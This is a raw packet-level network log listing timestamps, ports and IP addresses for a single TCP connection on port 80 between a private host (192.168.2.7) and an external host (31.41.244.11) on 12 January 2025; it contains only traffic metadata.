Jan 12, 2025 17:39:10.744342089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744369984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744402885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744407892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744407892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744436026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744467974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744471073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744482040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744503975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744537115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744537115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744570017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744580984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744580984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744604111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744636059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744656086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744656086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744671106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744703054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744710922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744710922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744738102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744770050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744786024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744786024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744802952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744832993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744847059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744847059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744864941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744898081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744911909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744911909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744930029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744962931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.744971037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744971037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.744995117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745012045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745028019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745062113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745090008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745090008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745098114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745126963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745158911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745162010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745162010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745191097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745193958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745201111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745224953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745258093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745289087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745296955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745296955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745296955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745322943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745357037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745385885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745392084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745398045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745398045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745420933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745459080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745474100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745505095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745531082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745531082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745537996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745556116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745570898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745603085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745604038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745636940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745649099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745650053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745670080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745702982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745718956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745718956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745735884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745769024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745795965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745795965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745801926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745809078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745836020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745871067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.745887995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.745887995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.746000051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791575909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791588068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791603088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791620016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791630030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791641951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791651964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791662931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791678905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791690111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791701078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791712046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791728973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791738987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791752100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791764021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791769028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791769028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791774988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791789055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791810036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791822910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791829109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791829109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791829109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791834116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791847944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791858912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791870117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791889906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791899920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791907072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791907072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791910887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791918039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791924000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791934967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791946888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.791975021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.791975021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792006016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792016983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792027950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792027950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792041063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792042017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792057991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792069912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792079926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792092085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792107105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792115927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792126894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792126894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792126894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792126894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792138100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792150021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792186022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792186022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792335987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792347908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792355061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792359114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792371988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792382956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792392969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792396069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792406082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792416096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792418957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792427063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792437077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792448044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792464018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792473078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792473078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792476892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792495012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792495966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792509079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792510033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792520046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792532921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792542934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792556047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792567968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792578936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.792588949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792588949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792588949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.792658091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.829787016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.829822063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.829874992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.829916000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.829916000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.829929113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.829967976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.829967976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.829981089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830040932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830070972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830229044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830255032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830270052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830281973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830282927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830282927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830291986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830311060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830322981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830333948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830343008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830343008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830343008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830346107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830359936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830374956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830384016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830394983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830415964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830423117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830423117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830423117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830426931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830440998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830451965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830461979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830472946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830478907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830478907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830490112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830501080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830512047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830522060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830533981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830543995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830544949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830544949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830554962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830564022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830574036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830585957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830595970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830595970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830596924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830595970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830607891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830617905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830637932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830648899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830660105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830671072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830681086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830682993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830682993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830682993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830692053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830703020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830713034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830724001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830725908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830725908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830735922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830744982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830754042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830765009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830779076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830796957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830802917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830802917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830809116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830820084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830832005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830842018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830852985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830863953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830863953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830863953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830873966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830885887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830897093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830905914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830918074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830924034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830924034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830924034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830929041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.830976963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830976963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.830976963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.877882004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.877938986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.877990961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878048897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878099918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878099918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878099918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878115892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878166914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878216028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878220081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878249884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878266096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878293037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878302097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878351927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878398895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878417969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878417969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878432989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878460884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878482103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878482103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878515005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878547907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878582001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878596067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878596067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878596067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878614902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878670931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878716946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878717899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878717899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878717899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878751040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878782988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878793001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878793001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878814936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878882885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878927946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878927946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878927946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.878935099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.878968954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879004955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879034042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879055023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879055023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879055023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879065990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879096985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879098892 CET	80	49975	31.41.244.11	192.168.2.7
